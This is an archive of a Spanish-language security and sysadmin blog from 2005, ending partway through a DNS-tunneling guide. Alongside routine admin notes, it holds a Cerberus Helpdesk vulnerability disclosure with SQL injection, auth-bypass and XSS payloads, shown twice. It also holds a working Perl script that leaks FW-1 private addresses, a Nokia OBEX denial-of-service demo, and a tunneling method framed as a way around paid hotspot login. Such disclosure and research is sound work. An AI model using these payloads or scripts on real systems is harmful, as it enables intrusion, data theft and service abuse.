martes, 27 de diciembre de 2005

(8)Exec format error

En la ejecucion de un CGI que esta en el cgi-bin

Posibles causas:

* No tiene bien puesta la cabecera tipica de #!/bin/sh #!/usr/bin/perl ...
* dos2unix es tu amigo (aka tr -d '15')

miércoles, 21 de diciembre de 2005

Oracle Port Usage (Sorted by Port Number)


http://osi.oracle.com/CollaborationSuite9041/doc/install/ports.htm


21 Oracle Files - FTP (default value)
110 Oracle Email - POP
119 Oracle Email - NNTP
139 Oracle Files - SMB
389 LDAP (Oracle Internet Directory)
548 Oracle Files - AFP
563 Oracle Email NNTP- SSL
636 Oracle Internet Directory- SSL
995 Oracle Email POP- SSL
1521 Oracle Workflow - TNS
1748 Oracle Enterprise Manager Intelligent Agent
1754 Oracle Enterprise Manager Intelligent Agent
1808 Oracle Enterprise Manager Intelligent Agent
1809 Oracle Enterprise Manager Intelligent Agent
1810 Oracle Enterprise Manager Application Server Service
1811 Oracle Enterprise Manager Application Server Service
1950 Oracle9iAS Reports Services SQL*Net
2049 Oracle Files - NFS (default value)
2070 Oracle9iAS Syndication Server (OSS); To access OSS
3001 Oracle9iAS Containers for J2EE - AJP
3101 Oracle9iAS Containers for J2EE - RMI
3201 Oracle9iAS Containers for J2EE - JMS
3301 Oracle9iAS Containers for J2EE HTTP Listener
4000 Oracle9iAS Web Cache Administration Port
4001 Oracle9iAS Web Cache Invalidation Port
4002 Oracle9iAS Web Cache Statistics
4031 Oracle Internet Directory SSL
4032 Oracle Internet Directory non-SSL
4443 Oracle HTTP Server- SSL, Oracle HTTP Server Listen- SSL, Oracle9iAS Web Cache Listen- SSL
4444 Oracle HTTP Server Listen- SSL if Oracle9iAS Web Cache is installed and configured
5000 Oracle9iAS Single Sign-On
5100 Oracle Email
5730 Oracle Calendar
5731 Oracle Calendar
5732 Oracle Calendar
5734 Oracle Calendar server manager
6003 Oracle HTTP Server- Oracle Notification Service Request Port
6100 Oracle HTTP Server- Oracle Notification Service Local Port
6200 Oracle HTTP Server- Oracle Notification Service Remote Port
6666 Oracle9iAS Clickstream Collector Agent
6675 Oracle9iAS Clickstream Collector Server
6676 Oracle9iAS Clickstream Execution Engine
7000 Oracle HTTP Server Java Object Cache
7771 Oracle Management Server
7772 Oracle Management Server
7773 Oracle Management Server
7777 Oracle HTTP Server- non-SSL, Oracle HTTP Server Listen- non-SSL, Oracle9iAS Web Cache Listen-non-SSL
7778 Oracle HTTP Server Listen- non-SSL if Oracle9iAS Web Cache is installed and configured
8007 Oracle HTTP Server JServ Servlet Engine
4444 Oracle HTTP Server Listen- SSL if Oracle9iAS Web Cache is installed and configured
5000 Oracle9iAS Single Sign-On
5100 Oracle Email
5730 Oracle Calendar
5731 Oracle Calendar
5732 Oracle Calendar
5734 Oracle Calendar server manager
6003 Oracle HTTP Server- Oracle Notification Service Request Port
6100 Oracle HTTP Server- Oracle Notification Service Local Port
6200 Oracle HTTP Server- Oracle Notification Service Remote Port
6666 Oracle9iAS Clickstream Collector Agent
6675 Oracle9iAS Clickstream Collector Server
6676 Oracle9iAS Clickstream Execution Engine
7000 Oracle HTTP Server Java Object Cache
7771 Oracle Management Server
7772 Oracle Management Server
7773 Oracle Management Server
7777 Oracle HTTP Server- non-SSL, Oracle HTTP Server Listen- non-SSL, Oracle9iAS Web Cache Listen-non-SSL
7778 Oracle HTTP Server Listen- non-SSL if Oracle9iAS Web Cache is installed and configured
8007 Oracle HTTP Server JServ Servlet Engine
9000 Oracle9iAS Wireless PIM Notification Dispatcher
14000 Oracle9iAS Reports Services Visigenics - CORBA
16001 IIOP
53000 range Oracle Files Domain Controller and Nodes
53000 range Oracle Files Main Node
53000 range Oracle Files HTTP Node

domingo, 18 de diciembre de 2005

Cerberus Helpdesk multiple vulnerabilities.

Title: Cerberus Helpdesk multiple vulnerabilities.
Severity: Medium
Affected: cerberus-gui (2.649), support-center (2.6493.2.0pr2)
Problem type: remote


Description:
-------------------------------------------------------------------------------

Cerberus Helpdesk is a WebGroup Media helpdesk suite based in php enviroment.
Official webpage: http://www.cerberusweb.com/



Details:
-------------------------------------------------------------------------------

support-center:
*******************************

SQL injection in attachment_send.php (line 112):
You can download files from other users or use blind sql injection attacks:
Example url:
.../support-center/cerberus-support-center/attachment_send.php?file_id=N [SQL] &thread_id=1
CODE:
$sql = "SELECT part_content FROM thread_attachments_parts WHERE file_id = $file_id";

XSS:
http://server/support-center/index.php?mod_id=2&kb_ask=%3Cscript%3Ealert%28%22XSS%22%29%3C%2Fscript%3E



cerberus-gui (parser-related):
*******************************

There are few sql injections if XML is malicious generated:

SQL injections in email_parser.php:

Function: "is_queue_address" (line: 1397) doesn.t check properly the "$addy" value.
CODE:
$sql = sprintf("SELECT q.queue_name, q.queue_mode, q.queue_email_display_name, ".
"qa.queue_addresses_id, qa.queue_id, qa.queue_address, ".
"qa.queue_domain, q.queue_prefix, q.queue_response_open, ".
"q.queue_send_open, q.queue_response_gated ".
"FROM queue_addresses qa ".
"LEFT JOIN queue q USING (queue_id) ".
"WHERE LOWER(qa.queue_address) = '%s' ".
"AND LOWER(qa.queue_domain) = '%s'",
strtolower($mailbox),
strtolower($domain)

Function: "is_banned_address" (line: 752) doesn.t check "$address" properly.
CODE:
SELECT a.address_banned FROM address a WHERE a.address_address = '".$address."'";

Function: "is_admin_address" (line 1532) you can bypass this function using, as an email address, the following query: "'OR'u.user_superuser'='1'--".
Example of result of this query:
SELECT u.user_id FROM user u WHERE u.user_email != '' AND u.user_email = '' OR u.user_superuser = '1'
CODE:
SELECT u.user_id FROM user u WHERE u.user_email != '' AND u.user_email = '$address'";


SQL injection in structs.php:
Function: "cer_email_address_struct" (line: 167) doesn.t check the following query.
CODE:
$sql = "SELECT a.address_id,a.address_banned FROM address a WHERE a.address_address = '" . $a_address . "'";


cerberus-gui:
*******************************

SQL injection in cer_KnowledgebaseHandler.class.php:
Function: "_load_article_details" (line 270), you can fetch "superuser" md5 password with blind sql injection.
Example URL:
/cerberus-gui/knowledgebase.php?mode=view_entry&root=2&sid=c7bb6a0d5f83d61d75053c85c14af247&kbid=4 [SQL]
CODE:
$sql = "SELECT k.kb_id, k.kb_entry_date, k.kb_public, k.kb_category_id, k.kb_keywords, kp.kb_problem_summary, kp.kb_problem_text, kp.kb_problem_text_is_html, " .
" ks.kb_solution_text, ks.kb_solution_text_is_html, kc.kb_category_name, u.user_login As entry_user, k.kb_avg_rating, k.kb_rating_votes " .
" FROM knowledgebase k LEFT JOIN knowledgebase_problem kp ON (kp.kb_id=k.kb_id) LEFT JOIN knowledgebase_solution ks on (ks.kb_id=k.kb_id) ".
" LEFT JOIN knowledgebase_categories kc ON (kc.kb_category_id=k.kb_category_id) LEFT JOIN user u ON (k.kb_entry_user=u.user_id) " .
" WHERE k.kb_id = " . $kbid;


SQL injection in "addresses_export.php":
Example URL:
POST: /cerberus-gui/addresses_export.php
sid=c61ce82aa50569705dd774c33644446c&queues%5B%5D=[SQL]&delimiter=comma&file_type=screen&form_submit=x
CODE:
$sql = "SELECT DISTINCT a.address_address FROM ticket t LEFT JOIN thread th ON (t.min_thread_id=th.thread_id)
LEFT JOIN address a ON (th.thread_address_id=a.address_id) WHERE t.ticket_queue_id IN ($queues) ORDER BY a.address_address ASC;";

SQL injection in "display.php". "$thread" is not checked
CODE:
$sql = "SELECT th.thread_address_id, a.address_address FROM thread th LEFT JOIN address a ON (th.thread_address_id = a.address_id) ".
"WHERE th.thread_id = " . $thread;

SQL injection in "display_ticket_thread.php" (line 52).
Example URL:
/cerberus-gui/display_ticket_thread.php?type=comment&sid=a640d024f84be01320aacb0ec6c87d74&ticket=[SQL]
CODE:
$sql = "SELECT t.ticket_id, t.ticket_subject, t.ticket_status, t.ticket_date, t.ticket_assigned_to_id, t.ticket_queue_id, t.ticket_priority, th.thread_address_id, ad.address_address, t.queue_addresses_id, q.queue_name " .
"FROM ticket t, thread th, address ad, queue q " .
"WHERE t.ticket_queue_id IN ($u_qids) AND th.ticket_id = t.ticket_id AND t.ticket_queue_id = q.queue_id AND th.thread_address_id = ad.address_id AND t.ticket_id = " . $ticket . " GROUP BY th.thread_id LIMIT 0,1";


Solution:
-------------------------------------------------------------------------------
Not available, maybe changing every "$cerberus_db->query($sql)" to "$cerberus_db->escape($sql)".


History:
-------------------------------------------------------------------------------
15-20/Nov/2005 --- Bugs discovered
11/Dec/2005 --- The Author has been notified .
19/Dec/2005 --- Full disclosure

Cerberus Helpdesk multiple vulnerabilities.

Title: Cerberus Helpdesk multiple vulnerabilities.
Severity: Medium
Affected: cerberus-gui (2.649), support-center (2.6493.2.0pr2)
Problem type: remote


Description:
-------------------------------------------------------------------------------

Cerberus Helpdesk is a WebGroup Media helpdesk suite based in php enviroment.
Official webpage: http://www.cerberusweb.com/



Details:
-------------------------------------------------------------------------------

support-center:
*******************************

SQL injection in attachment_send.php (line 112):
You can download files from other users or use blind sql injection attacks:
Example url:
.../support-center/cerberus-support-center/attachment_send.php?file_id=N [SQL] &thread_id=1
CODE:
$sql = "SELECT part_content FROM thread_attachments_parts WHERE file_id = $file_id";

XSS:
http://server/support-center/index.php?mod_id=2&kb_ask=%3Cscript%3Ealert%28%22XSS%22%29%3C%2Fscript%3E



cerberus-gui (parser-related):
*******************************

There are few sql injections if XML is malicious generated:

SQL injections in email_parser.php:

Function: "is_queue_address" (line: 1397) doesn.t check properly the "$addy" value.
CODE:
$sql = sprintf("SELECT q.queue_name, q.queue_mode, q.queue_email_display_name, ".
"qa.queue_addresses_id, qa.queue_id, qa.queue_address, ".
"qa.queue_domain, q.queue_prefix, q.queue_response_open, ".
"q.queue_send_open, q.queue_response_gated ".
"FROM queue_addresses qa ".
"LEFT JOIN queue q USING (queue_id) ".
"WHERE LOWER(qa.queue_address) = '%s' ".
"AND LOWER(qa.queue_domain) = '%s'",
strtolower($mailbox),
strtolower($domain)

Function: "is_banned_address" (line: 752) doesn.t check "$address" properly.
CODE:
SELECT a.address_banned FROM address a WHERE a.address_address = '".$address."'";

Function: "is_admin_address" (line 1532) you can bypass this function using, as an email address, the following query: "'OR'u.user_superuser'='
1'--".
Example of result of this query:
SELECT u.user_id FROM user u WHERE u.user_email != '' AND u.user_email = '' OR u.user_superuser = '1'
CODE:
SELECT u.user_id FROM user u WHERE u.user_email != '' AND u.user_email = '$address'";


SQL injection in structs.php:
Function: "cer_email_address_struct" (line: 167) doesn.t check the following query.
CODE:
$sql = "SELECT a.address_id,a.address_banned FROM address a WHERE a.address_address = '" . $a_address . "'";


cerberus-gui:
*******************************

SQL injection in cer_KnowledgebaseHandler.class.php:
Function: "_load_article_details" (line 270), you can fetch "superuser" md5 password with blind sql injection.
Example URL:
/cerberus-gui/knowledgebase.php?mode=view_entry&root=2&sid=c7bb6a0d5f83d61d75053c85c14af247&kbid=4 [SQL]
CODE:
$sql = "SELECT k.kb_id, k.kb_entry_date, k.kb_public, k.kb_category_id, k.kb_keywords, kp.kb_problem_summary, kp.kb_problem_text, kp.kb_p
roblem_text_is_html, " .
" ks.kb_solution_text, ks.kb_solution_text_is_html, kc.kb_category_name, u.user_login As entry_user, k.kb_avg_rating, k.kb_rating_votes "
.
" FROM knowledgebase k LEFT JOIN knowledgebase_problem kp ON (kp.kb_id=k.kb_id) LEFT JOIN knowledgebase_solution ks on (ks.kb_id=k.kb_id)
".
" LEFT JOIN knowledgebase_categories kc ON (kc.kb_category_id=k.kb_category_id) LEFT JOIN user u ON (k.kb_entry_user=u.user_id) " .
" WHERE k.kb_id = " . $kbid;


SQL injection in "addresses_export.php":
Example URL:
POST: /cerberus-gui/addresses_export.php
sid=c61ce82aa50569705dd774c33644446c&queues%5B%5D=[SQL]&delimiter=comma&file_type=screen&form_submit=x
CODE:
$sql = "SELECT DISTINCT a.address_address FROM ticket t LEFT JOIN thread th ON (t.min_thread_id=th.thread_id)
LEFT JOIN address a ON (th.thread_address_id=a.address_id) WHERE t.ticket_queue_id IN ($queues) ORDER BY a.address_address ASC;";

SQL injection in "display.php". "$thread" is not checked
CODE:
$sql = "SELECT th.thread_address_id, a.address_address FROM thread th LEFT JOIN address a ON (th.thread_address_id = a.address_id) ".
"WHERE th.thread_id = " . $thread;

SQL injection in "display_ticket_thread.php" (line 52).
Example URL:
/cerberus-gui/display_ticket_thread.php?type=comment&sid=a640d024f84be01320aacb0ec6c87d74&ticket=[SQL]
CODE:
$sql = "SELECT t.ticket_id, t.ticket_subject, t.ticket_status, t.ticket_date, t.ticket_assigned_to_id, t.ticket_queue_id, t.ticket_priori
ty, th.thread_address_id, ad.address_address, t.queue_addresses_id, q.queue_name " .
"FROM ticket t, thread th, address ad, queue q " .
"WHERE t.ticket_queue_id IN ($u_qids) AND th.ticket_id = t.ticket_id AND t.ticket_queue_id = q.queue_id AND th.thread_address_id = ad.add
ress_id AND t.ticket_id = " . $ticket . " GROUP BY th.thread_id LIMIT 0,1";


Solution:
-------------------------------------------------------------------------------
Not available, maybe changing every "$cerberus_db->query($sql)" to "$cerberus_db->escape($sql)".


History:
-------------------------------------------------------------------------------
15-20/Nov/2005 --- Bugs discovered
11/Dec/2005 --- The Author has been notified .
19/Dec/2005 --- Full disclosure

Blind SQL Injection PoC Tool.

He desarrollado un script basandome en el codigo de ilo- (www.reversing.org),
que realiza brute force en webs que tengan algun fallo de inyección de SQL ciega

Tambien he publicado unos fallos con los que he probado la herramienta, asi como
un video donde se ve como funciona...

Además hacktimes va a publicar un articulo sobre blind sql injection con
más información.

bsqlbf.pl: script
bsqlbf.avi: video


martes, 13 de diciembre de 2005

Get private address from fw-1 (old bug)

#!/usr/bin/perl
# Wed Dec 14 01:44:29 CET 2005
# Get private address from fw-1, nothing new, only a working port.
# ref: http://www.securityfocus.com/bid/8524/info
# !dSR www.digitalsec.es

use strict;
use IO::Socket;

my ($bytes, $host, @hosts) = ();
my $sock = new IO::Socket::INET(PeerAddr => $ARGV[0], PeerPort => 256,
Proto => 'tcp') or die "ERROR! $!\n";
print $sock "\x31\x00\x00\x00";
print $sock "\x00\x00\x00\x0C\x00\x00\x00\x04\xD4\xA3\x9F\x02";
while() { $bytes .= unpack("H*",$_); }
print "fw1 string: $bytes\n";
print substr ($bytes, 16)."\n";
my $i = 0;
foreach ((substr $bytes, 16) =~/(.{8})/g) {
$host = ();
foreach my $ip (/(.{2})/g) {
$host .= hex($ip).".";
} $host =~ s/\.$//;
last if $host =~ /0\.0\.0/; push(@hosts, $host);
}
foreach (@hosts) { $i++; print "ipaddr[$i]: $_\n"; }

download pl





Nokia 7610, 3650 Denial of Service in OBEX.

Severity: Low
Affected: tested in nokia 7610 and nokia 3650 (maybe others symbian
phones).
Problem type: remote

Details:
--------------------------------------------------------------------------------
--------------------------

They are some flaw in the OBEX implementation in nokia 7610 (V4.0.437
15-09-04 RH51), and others, that disable this service if you send
archive with name ":" or "\".

----
Quote of IROBEX12.pdf Pag:40, section 4.3 -- (OBEX specification)

"Pushing objects into the inbox Objects are pushed into the inbox by using
the PUT command with a Name header. The string in the Name header
should not contain any path characters such as ':', '/' or '\'. Objects with
improperly formed names should be rejected."
----

The device ask for PIN if you are not paired or ask if you want accept a
connection of the remote box, you need ACCEPT. It have low risk ,
becouse dont work if you dont accept the incoming connection.

If connection is established, the file is sended and they arent "New
message arrived" message, like when you send correct archive. Its ok,
the filename is dropped.

The problem is the OBEX service dont work anymore after this, if you
tried to send other file or from some vcard from other device, you cant
connect to the remote OBEX service again.

Demostration with Linux as client:


jim:~# hcitool scan
Scanning ...
00:13:70:5E:1F:01 7610


jim:~# obexftp -b 00:13:70:5E:1F:01 -p \:
Browsing 00:13:70:5E:1F:01 ...
Channel: 10
No custom transport
obexftp_cli_open()
obexftp_cli_connect_uuid()
Connecting...obexftp_cli_connect_uuid() BT 1
cli_sync_request()
obexftp_sync()
client_done()
client_done() Found connection number: -1022384746
client_done() Sender identified
obexftp_sync() OBEX_HandleInput = 31
obexftp_sync() Done success=1
done
Sending ":"... obexftp_put_file() Sending : -> :
build_object_from_file() Lastmod = 2005-09-18T00:16:42Z
cli_sync_request()
cli_fillstream_from_file()
cli_fillstream_from_file() Read 6 bytes
cli_fillstream_from_file()
cli_fillstream_from_file() Read 0 bytes
obexftp_sync()
obexftp_sync() OBEX_HandleInput = 0
failed: :
obexftp_cli_disconnect()
Disconnecting...cli_sync_request()
failed: disconnect
obexftp_cli_close()

# Error pushing other file after send ":" filename:

jim:~# obexftp -b 00:13:70:5E:1F:01 -p /etc/hosts
Browsing 00:13:70:5E:1F:01 ...
Channel: 10
No custom transport
obexftp_cli_open()
obexftp_cli_connect_uuid()
Connecting...obexftp_cli_connect_uuid() BT -1
failed: connect
Still trying to connect
obexftp_cli_connect_uuid()
Connecting...obexftp_cli_connect_uuid() BT -1
failed: connect
Still trying to connect
obexftp_cli_connect_uuid()
Connecting...obexftp_cli_connect_uuid() BT -1
failed: connect
Still trying to connect
--------------------------------------------------------------------------------
--------------------------

Timeline:
20 Sept 2005: bug found.
21 Sept 2005: Nokia security contacted.
24 Sept 2005: Disclosure in NCN - V congress (http://www.noconname.org).
26 Sept 2005: Full disclosure.


dab @ !dSR
http://www.digitalsec.net


domingo, 27 de noviembre de 2005

Aplicaciones de tipo "proxy" para auditar web.

Freeware:

Paros proxy (java)

WebScarab (java)

Achilles

Spike

RatProxy

ProxyStrike

ProxMon

Pantera



Windows:

Fiddler

TamperIE (plugin IE)

Odysseus




Comercial:

Webproxy (descontinuado)

Burp Tools

HttpWatch (windows, IE plugin)

Suru

Charles




sábado, 26 de noviembre de 2005

Logear con named/bind

Para mantener un registro de las peticiones que hacen
a nuestro DNS yo tengo configurado lo siguiente en
mi named.conf:

logging {
channel warning
{
file "/var/log/named/dns_warnings" versions 3 size 100k;
severity warning;
print-category yes;
print-severity yes;
print-time yes;
};

channel general_dns
{
file "/var/log/named/dns_logs" versions 3 size 100k;
severity info;
print-category yes;
print-severity yes;
print-time yes;
};
category lame-servers { null; };
category default { warning; };
category queries { general_dns; };



};

Evidentemente los directorios tienen que tener permiso para el usuario
que ejecuta el named.

lunes, 21 de noviembre de 2005

IFS en ksh y bash.

Basta que te pase una vez, para que tengas que apuntarlo.

El problema viene cuando quieres meter IFS a \n, lo que en bash
seria algo asi como:

export IFS=$'\n' (con comilla simple, para que no parta por "n")

En ksh se realiza de esta forma tan fea, que con la de bash, no tira:

export IFS="
"

jueves, 3 de noviembre de 2005

Comprobar la tipica lista de proxys publica

En vez de ir probando de uno en uno para ver si funcionan o no,
estupido script al canto:

#!/bin/bash
if [ -z $1 ]; then echo "./$0 " && exit 0; fi
for proxy in `cat $1 |awk '{print $1}'`; do
export http_proxy="http://$proxy"
h=`/usr/bin/time -f "\n%e" -o /dev/stdout -- wget -T 5 -q -O - -t 1 http://www.google.com`
t=`echo "$h"|tail -1`
if [[ $h == *\<title\>Google\</title\>* ]]; then
echo "Proxy up!: $proxy ($t secs)";
fi
done


lunes, 8 de agosto de 2005

Problemas con OpenVPN - Route addition via IPAPI succeeded

Despues de jugar con el "share network access", del accesotelefono a redes y de los interfaz, el openvpn sera incapaz de a?adirlas rutas que necesita para llegar al otro lado. Para que todo vuelva a funcionar correctamente, es necesario queno se comparta ninguna acceso. (-sic-)

viernes, 5 de agosto de 2005

Seguridad en Lotus Domino

http://www.cqure.net/tools.jsp?id=11
Lodowep is a tool for analyzing password strength of accounts on a Lotus Domino webserver system. The tool supports both session- and basic-authentication. It runs 20 simultaneous connection guessing passwords specified in a dictionaryfile against the supplied userfile. The tool is written in java and is released under the GPL version 2.

http://usuarios.lycos.es/reinob/
Lepton's Crack is a generic password cracker, easily customizable with a simple plug-in system. It can perform a dictionary-based (wordlist) attack, as well as a brute-force
(incremental) password scan, including enumeration of a regular expression
(useful if you know something about the password). Currently the formats supported are: standard MD4 hash, standard MD5 hash, NT MD4/Unicode, Lotus Domino HTTP password (R4) and SHA-1. LM (LAN Manager) support added by Piero Brunati, see below.

http://www.nestonline.com/lcrack/
Port de LCrack con soporte de otros cifrados.

http://packetstormsecurity.org/Crackers/dhb.zip
Lotus Domino HTTP password

http://packetstormsecurity.org/UNIX/scanners/DominoHunter-0.92.zip
Domino Hunter 0.92 is a Lotus Domino web server scanner, written in Perl. It attempts to access default NSF databases, as well as crawl user-defined bases. It tries to enumerate the database structure, enumerate available views, available documents, and ACLs set on documents. It also tries to retrieve documents from available views in order to check if ACLs are correctly set to restrict documents and not views. The scanner works in both anonymous mode or privileged mode if user supplied credentials are supplied to then be passed to the default names.nsf/?Login form.

http://packetstormsecurity.org/UNIX/scanners/domino.tar.gz
Domino.pl is a perl script which checks for remote vulnerabilities in lotus Domino servers.


DOCUMENTACION:
Es bastante pobre lo que hay:

Security HandBook (RedBook de IBM)

Lotus Notes and Domino R5.0 Security Infrastructure Revealed

ISS domino

jueves, 4 de agosto de 2005

FireFox popups in flash

Like you, I love Firefox for many reasons, including popup blocking. So
over the last few weeks I.ve been surprised to see occasional popups.

It turns out that some clever people figured out that you could launch
popups from Flash, getting around the Firefox default settings.

Fortunately, you can get around it:

1. Type about:config into the Firefox location bar.
2. Right-click on the page and select New and then Integer.
3. Name it privacy.popups.disable_from_plugins
4. Set the value to 2.

The possible values are:

* 0: Allow all popups from plugins.
* 1: Allow popups, but limit them to dom.popup_maximum.
* 2: Block popups from plugins.
* 3: Block popups from plugins, even on whitelisted sites.

From:
http://www.petebevin.com/archives/2005/03/10/firefox_popups.html


lunes, 20 de junio de 2005

Obtener un numero random en shell script (bash)

Una posible solucion puede ser:

head -c 45 /dev/urandom | uuencode -m - | sed -e \
's,.*\([0-9]\).*,\1,' -e '1d;n;$d'

Tener en cuenta que si en 45bytes de urandom no aparece un numero, no funciona

Actualiacion: Mon Jun 20 11:29:08 CEST 2005
Buenas chavalote!

A ver si pones comentarios en tu blog ;)

echo $RANDOM en bash ;)
--
Luis Peralta / jaxp
http://spisa.act.uji.es/~peralta/
------------

jueves, 9 de junio de 2005

ARP estatico en el inicio del sistema

En el rc.local:

arp -s $(route -n | awk '/^0.0.0.0/ {print $2}') \
$(arp -n | grep `route -n | awk '/^0.0.0.0/ {print $2}'`| awk '{print $3}')

Asi, si cambian el eth de mi default gw, no pierdo conectividad.

miércoles, 1 de junio de 2005

Chroot bind (named) en Debian Sid

Los comandos necesarios son:

mkdir -p /var/lib/named/etc
mkdir /var/lib/named/dev
mkdir -p /var/lib/named/var/cache/bind
mkdir /var/lib/named/var/run
mv /etc/bind /var/lib/named/etc
ln -s /var/lib/named/etc/bind /etc/bind
cp /etc/localtime /var/lib/named/etc
mknod /var/lib/named/dev/null c 1 3
mknod /var/lib/named/dev/random c 1 8
mknod /var/lib/named/dev/log c 21 5
chmod 666 /var/lib/named/dev/null /var/lib/named/dev/random
chown bind:bind /var/lib/named
chown -R bind:bind /var/lib/named/etc/bind /var/lib/named/var/*
chmod 700 /var/lib/named

Luego... a?adir en /etc/bind/named.conf.options

pid-file "/var/run/named.pid";
statistics-file "/var/run/named.stats";


Editar /etc/default/bind9 (o /etc/init.d/bind9), la variable
OPTIONS tiene que contener "-u bind -t /var/lib/named" y modificar
todas las rutas que apunten a /var/run/bind/run por /var/run

Editar /etc/init.d/sysklogd y a?adir en la variable OPTIONS
"-a /var/lib/named/dev/log"

Si se usa el sistema de logs del POST pasado, a?adir estos comandos:

mkdir -p /var/lib/named/var/log/named
touch /var/lib/named/var/log/named/dns_logs
touch /var/lib/named/var/log/named/dns_warnings
ln -s /var/lib/named/var/log/named/ /var/log/named
chown bind:bind -R /var/lib/named/var/log/named
chmod o-r -R /var/lib/named/var/log/named

"expose = On" en PHP (php.ini)

Si se a?aden las siguientes cadenas a un servidor con soporte
PHP, se obtienen los creditos. (ego++)

?=PHPE9568F34-D428-11d2-A769-00AA001ACF42
Muestra el logo de PHP

?=PHPE9568F35-D428-11d2-A769-00AA001ACF42
Muestra el logo de Zend.

?=PHPE9568F36-D428-11d2-A769-00AA001ACF42
Muestra una imagen (varia segun la version)

?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000
Muestra los creditos de los programadores (como cuando
me pasaba los monkey island)


Ejemplo:
http://www.php.net/?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000


Para deshabilitarlo, basta con poner a Off en el php.ini el parametro "expose"


Del php.ini:

domingo, 29 de mayo de 2005

Configuracion Linux Dell D600

lspci:

0000:00:00.0 Host bridge: Intel Corp. 82855PM Processor to I/O Controller (rev 03)
0000:00:01.0 PCI bridge: Intel Corp. 82855PM Processor to AGP Controller (rev 03)
0000:00:1d.0 USB Controller: Intel Corp. 82801DB/DBL/DBM (ICH4/ICH4-L/ICH4-M) USB UHCI Controller #1 (rev 01)
0000:00:1d.1 USB Controller: Intel Corp. 82801DB/DBL/DBM (ICH4/ICH4-L/ICH4-M) USB UHCI Controller #2 (rev 01)
0000:00:1d.2 USB Controller: Intel Corp. 82801DB/DBL/DBM (ICH4/ICH4-L/ICH4-M) USB UHCI Controller #3 (rev 01)
0000:00:1d.7 USB Controller: Intel Corp. 82801DB/DBM (ICH4/ICH4-M) USB 2.0 EHCI Controller (rev 01)
0000:00:1e.0 PCI bridge: Intel Corp. 82801 PCI Bridge (rev 81)
0000:00:1f.0 ISA bridge: Intel Corp. 82801DBM LPC Interface Controller (rev 01)
0000:00:1f.1 IDE interface: Intel Corp. 82801DBM (ICH4) Ultra ATA Storage Controller (rev 01)
0000:00:1f.5 Multimedia audio controller: Intel Corp. 82801DB/DBL/DBM (ICH4/ICH4-L/ICH4-M) AC'97 Audio Controller (rev 01)
0000:00:1f.6 Modem: Intel Corp. 82801DB/DBL/DBM (ICH4/ICH4-L/ICH4-M) AC'97 Modem Controller (rev 01)
0000:01:00.0 VGA compatible controller: ATI Technologies Inc Radeon R250 Lf [Radeon Mobility 9000 M9] (rev 02)
0000:02:00.0 Ethernet controller: Broadcom Corporation NetXtreme BCM5705M Gigabit Ethernet (rev 01)
0000:02:01.0 CardBus bridge: O2 Micro, Inc. OZ711EC1 SmartCardBus Controller (rev 20)
0000:02:01.1 CardBus bridge: O2 Micro, Inc. OZ711EC1 SmartCardBus Controller (rev 20)


Archivo de configuracion:
/usr/src/linux/.config
/etc/modules/
XF86Config-4.fglrx.conf (/etc/X11/XF86Config)
XF86Config-4.drm.agpgart.conf (/etc/X11/XF86Config)
/etc/lilo.conf

Notas:
* Framebuffer y aceleracion con fglrx no son compatibles (al pasar de X al
framebuffer y volver a las X se cuelgan)
* Hace falta en ambos modos agpgart y intel_agp cargados en el kernel
* El driver de fglrx se baja de la web y de ATI y hay que compilarlo
* Usar glxgears y glxinfo para comprobar la aceleracion

Cambiar el Banner del SSH en Debian

Comandos necesarios para cambiar el "banner" de ssh. Lo que se muestra cuando
alguien hace un telnet al puerto del servicio.
(No confundir con la directiva "Banner" del archivo de configuracion de sshd,
que muestra un msg de bienvenida/aviso cuando alguien conecta usando un cliente
de ssh).

mkdir /tmp/openssh; cd /tmp/openssh
apt-get source ssh
cd directorio-ssh
sed -e 's,SSH_VERSION :=.*,SSH_VERSION := OpenSSH_3,'<debian/rules>debian/rules.tmp
mv debian/rules.tmp debian/rules
chmod +x debian/rules
dpkg-buildpackage -b -us -uc
cd ..
dpkg -i ssh...deb

martes, 24 de mayo de 2005

screen dentro de screen (screen into screen)

Para poder tener un "screen" dentro de otro, y no liar
las teclas de ctrl-A-a en el cambio de ventanas, es posible
iniciar uno de los screen con una combinacion distinta:

screen -e\^Ee

De esta forma, el screen arrancado con esos parametros, usara
control-E-e en vez del control-A-a que es el definido por defecto.

viernes, 20 de mayo de 2005

SNMP Pen-test

Herramientas para auditar SNMP

ADMsnmp
onesixtyone
pysnmp
snmp-python
snmpbrute-fixedup
SNscan-Foundstone
NetScanTools Pro

De un thread de pen-test

lunes, 16 de mayo de 2005

Guia rapida de tunneling IP sobre DNS

+---------------------------------------------------------------+
| Guia rapida de tunneling IP sobre DNS Alejandro Ramos |
| 29/Mar/2005 v0.2 aramosf@unsec.net |
+---------------------------------------------------------------+


/ 1.- Introduccion /
+--------------------+

El proposito de esta guia es crear un tunel IP sobre el protocolo DNS
para conseguir salir a Internet en un entorno donde al unico servicio que
podemos acceder es un DNS que nos resuelve direcciones de Internet.

Muy practico para redes wireless en las que te permiten asociarte pero solo
te dan salida una vez te has autentificado via HTTP, previo pago. Como por
ejemplo en aeropuertos y hoteles. Estos sitios suelen tener un DNS que
resuelve dominios de Internet, requisito indispensable.

El siguiente texto va a mostar un ejemplo practico de una de estas confi-
guraciones.

El funcionamiento es sencillo, se desarrolla un servidor DNS que responde
a determinadas peticiones encapsulando en Base32 (si se realizan peticiones
mediante CNAME) o en Base 64 (si son registros TXT). El cliente sera capaz de
desencapsular la codificacion de la peticion y generar el paquete correcto.


En la actualidad existen dos aplicaciones que nos permiten realizar un
tunel atraves de DNS: nstx (http://nstx.dereference.de/nstx/) y ozymandns
(http://www.doxpara.com/). Se muestra una lista comparativa:

Ventajas de ozymandns:
* Esta escrito en perl, por lo que se puede portar a cualquier sistema
que soporte este interprete.
* Es sencillo y rapido de configurar.
Inconvenientes de ozymandns:
* Solo permite realizar un SSH o hay que realizar un tunel ssh posterior.
* El software es beta e inestable.

Ventajas de nstx:
* Permite usar cualquier tipo de servicio.
* Software antiguo y mas comprobado.
* Existen paquetes para algunas distribuciones (debian sid).
Inconvenientes de nstx:
* Tanto servidor como cliente tiene que ser linux.
* Se necesita crear un tunel con tun/tap.


Ademas de estas aplicaciones existen otras que nos permiten enviar
y recibir ficheros por DNS o usarlo para encapsular VoIP.



OJO-OJO-OJO-OJO-OJO-OJO-OJO-OJO-OJO-OJO-OJO-OJO-OJO-OJO-OJO-OJO-OJO-OJO
J J
O Ambos sistemas no usan autenticacion, alguien que conozca la O
J configuracion que se ha realizado en su sistema podria usar J
